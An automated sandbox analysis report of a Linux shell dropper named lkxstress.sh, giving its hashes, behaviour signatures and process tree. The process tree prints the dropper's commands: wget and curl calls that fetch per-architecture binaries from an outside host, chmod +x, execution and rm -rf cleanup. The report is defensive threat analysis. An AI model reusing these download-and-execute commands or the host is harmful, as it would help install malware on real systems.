Overview

overview

10

Static

static

1

lkxstress.sh

ubuntu-18.04-amd64

10

lkxstress.sh

debian-9-armhf

7

lkxstress.sh

debian-9-mips

lkxstress.sh

debian-9-mipsel

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/08/2026, 10:15

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    lkxstress.sh
  • Size 5KB
  • Sample260809-manh5awaqf
  • SHA256 facf55e72c9613051b7dda7374a777451001d4ac2d0a5b0555ee19d4960587ea
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 9 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/lkxstress.sh
    /tmp/lkxstress.sh
    1⤵
      PID:651
      • /bin/cp
        cp /bin/busybox /tmp/
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:656
      • /bin/chmod
        chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
        2⤵
        • File and Directory Permissions Modification
        PID:665
      • /usr/bin/wget
        wget http://lol.exodustrala.dpdns.org/xlumen/lkxstress.x86
        2⤵
        • Writes file to tmp directory
        PID:669
      • /usr/bin/curl
        curl -O http://lol.exodustrala.dpdns.org/xlumen/lkxstress.x86
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:722
      • /bin/chmod
        chmod +x busybox lkxstress.sh lkxstress.x86 systemd-private-bf408eb013334b9b87a606bc1d0a98d6-systemd-timedated.service-ZIqUpO
        2⤵
        • File and Directory Permissions Modification
        PID:758
      • /tmp/lkxstress.x86
        ./lkxstress.x86 lkxstress.x86
        2⤵
          PID:759
        • /bin/rm
          rm -rf lkxstress.x86
          2⤵
            PID:761
          • /bin/chmod
            chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
            2⤵
            • File and Directory Permissions Modification
            PID:762
          • /usr/bin/wget
            wget http://lol.exodustrala.dpdns.org/xlumen/lkxstress.mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:763
          • /usr/bin/curl
            curl -O http://lol.exodustrala.dpdns.org/xlumen/lkxstress.mips
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:764
          • /bin/chmod
            chmod +x busybox lkxstress.mips lkxstress.sh systemd-private-bf408eb013334b9b87a606bc1d0a98d6-systemd-timedated.service-ZIqUpO
            2⤵
            • File and Directory Permissions Modification
            PID:766
          • /tmp/lkxstress.mips
            ./lkxstress.mips lkxstress.mips
            2⤵
            • System Network Configuration Discovery
            PID:767
          • /bin/rm
            rm -rf lkxstress.mips
            2⤵
            • System Network Configuration Discovery
            PID:769
          • /bin/chmod
            chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
            2⤵
            • File and Directory Permissions Modification
            PID:770
          • /usr/bin/wget
            wget http://lol.exodustrala.dpdns.org/xlumen/lkxstress.arc
            2⤵
            • Writes file to tmp directory
            PID:771
          • /usr/bin/curl
            curl -O http://lol.exodustrala.dpdns.org/xlumen/lkxstress.arc
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            PID:774
          • /bin/chmod
            chmod +x busybox lkxstress.arc lkxstress.sh
            2⤵
            • File and Directory Permissions Modification
            PID:806
          • /tmp/lkxstress.arc
            ./lkxstress.arc lkxstress.arc
            2⤵
              PID:807
            • /bin/rm
              rm -rf lkxstress.arc
              2⤵
                PID:809
              • /bin/chmod
                chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
                2⤵
                • File and Directory Permissions Modification
                PID:810
              • /usr/bin/wget
                wget http://lol.exodustrala.dpdns.org/xlumen/lkxstress.i468
                2⤵
                  PID:811
                • /usr/bin/curl
                  curl -O http://lol.exodustrala.dpdns.org/xlumen/lkxstress.i468
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:812
                • /bin/chmod
                  chmod +x busybox lkxstress.i468 lkxstress.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:816
                • /tmp/lkxstress.i468
                  ./lkxstress.i468 lkxstress.i468
                  2⤵
                    PID:817
                  • /bin/rm
                    rm -rf lkxstress.i468
                    2⤵
                      PID:818
                    • /bin/chmod
                      chmod +x /sbin/wget /usr/sbin/wget /bin/wget /usr/bin/wget /sbin/curl /usr/sbin/curl /bin/curl /usr/bin/curl
                      2⤵
                      • File and Directory Permissions Modification
                      PID:819
                    • /usr/bin/wget
                      wget http://lol.exodustrala.dpdns.org/xlumen/lkxstress.i686
                      2⤵
                      • Writes file to tmp directory
                      PID:820

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        busybox
                        • Path /tmp/busybox
                        • Size 507KB
                        • SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download